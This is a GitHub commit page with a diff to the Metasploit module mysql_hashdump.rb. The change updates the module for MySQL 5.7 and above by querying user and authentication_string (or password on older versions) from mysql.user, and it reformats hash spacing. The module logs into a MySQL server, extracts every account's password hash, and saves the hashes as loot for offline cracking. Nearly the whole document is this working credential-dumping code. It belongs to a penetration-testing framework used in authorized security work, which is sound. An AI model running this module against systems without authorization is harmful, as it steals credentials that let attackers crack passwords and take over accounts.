Skip to content

Commit 44b08fe

Browse files
committed
Land rapid7#9525, Update mysql_hashdump for MySQL 5.7 and above
2 parents c642d42 + 1bb5499 commit 44b08fe

File tree

1 file changed

+33
-32
lines changed

1 file changed

+33
-32
lines changed

modules/auxiliary/scanner/mysql/mysql_hashdump.rb

Lines changed: 33 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -12,70 +12,76 @@ class MetasploitModule < Msf::Auxiliary
1212
def initialize
1313
super(
1414
'Name' => 'MYSQL Password Hashdump',
15-
'Description' => %Q{
15+
'Description' => %(
1616
This module extracts the usernames and encrypted password
1717
hashes from a MySQL server and stores them for later cracking.
18-
},
18+
),
1919
'Author' => ['theLightCosine'],
2020
'License' => MSF_LICENSE
2121
)
2222
end
2323

2424
def run_host(ip)
2525

26-
if (not mysql_login_datastore)
27-
return
28-
end
26+
return unless mysql_login_datastore
2927

3028
service_data = {
31-
address: ip,
32-
port: rport,
33-
service_name: 'mysql',
34-
protocol: 'tcp',
35-
workspace_id: myworkspace_id
29+
address: ip,
30+
port: rport,
31+
service_name: 'mysql',
32+
protocol: 'tcp',
33+
workspace_id: myworkspace_id
3634
}
3735

3836
credential_data = {
39-
module_fullname: self.fullname,
40-
origin_type: :service,
41-
private_data: datastore['PASSWORD'],
42-
private_type: :password,
43-
username: datastore['USERNAME']
37+
module_fullname: self.fullname,
38+
origin_type: :service,
39+
private_data: datastore['PASSWORD'],
40+
private_type: :password,
41+
username: datastore['USERNAME']
4442
}
4543

4644
credential_data.merge!(service_data)
4745

4846
credential_core = create_credential(credential_data)
4947

5048
login_data = {
51-
core: credential_core,
52-
last_attempted_at: DateTime.now,
53-
status: Metasploit::Model::Login::Status::SUCCESSFUL
49+
core: credential_core,
50+
last_attempted_at: DateTime.now,
51+
status: Metasploit::Model::Login::Status::SUCCESSFUL
5452
}
5553
login_data.merge!(service_data)
5654

5755
create_credential_login(login_data)
5856

59-
#Grabs the username and password hashes and stores them as loot
60-
res = mysql_query("SELECT user,password from mysql.user")
57+
# Grab the username and password hashes and store them as loot
58+
version = mysql_get_variable("@@version")
59+
60+
# Starting from MySQL 5.7, the 'password' column was changed to 'authentication_string'.
61+
if version[0..2].to_f > 5.6
62+
res = mysql_query("SELECT user,authentication_string from mysql.user")
63+
else
64+
res = mysql_query("SELECT user,password from mysql.user")
65+
end
66+
6167
if res.nil?
6268
print_error("There was an error reading the MySQL User Table")
6369
return
6470
end
6571

6672
service_data = {
67-
address: ::Rex::Socket.getaddress(rhost,true),
73+
address: ::Rex::Socket.getaddress(rhost, true),
6874
port: rport,
6975
service_name: 'mysql',
7076
protocol: 'tcp',
7177
workspace_id: myworkspace_id
7278
}
7379

7480
credential_data = {
75-
origin_type: :service,
76-
jtr_format: 'mysql,mysql-sha1',
77-
module_fullname: self.fullname,
78-
private_type: :nonreplayable_hash
81+
origin_type: :service,
82+
jtr_format: 'mysql,mysql-sha1',
83+
module_fullname: self.fullname,
84+
private_type: :nonreplayable_hash
7985
}
8086

8187
credential_data.merge!(service_data)
@@ -87,17 +93,12 @@ def run_host(ip)
8793
print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}")
8894
credential_core = create_credential(credential_data)
8995
login_data = {
90-
core: credential_core,
91-
status: Metasploit::Model::Login::Status::UNTRIED
96+
core: credential_core,
97+
status: Metasploit::Model::Login::Status::UNTRIED
9298
}
9399
login_data.merge!(service_data)
94100
create_credential_login(login_data)
95101
end
96102
end
97-
98103
end
99-
100-
101-
102-
103104
end

0 commit comments

Comments
 (0)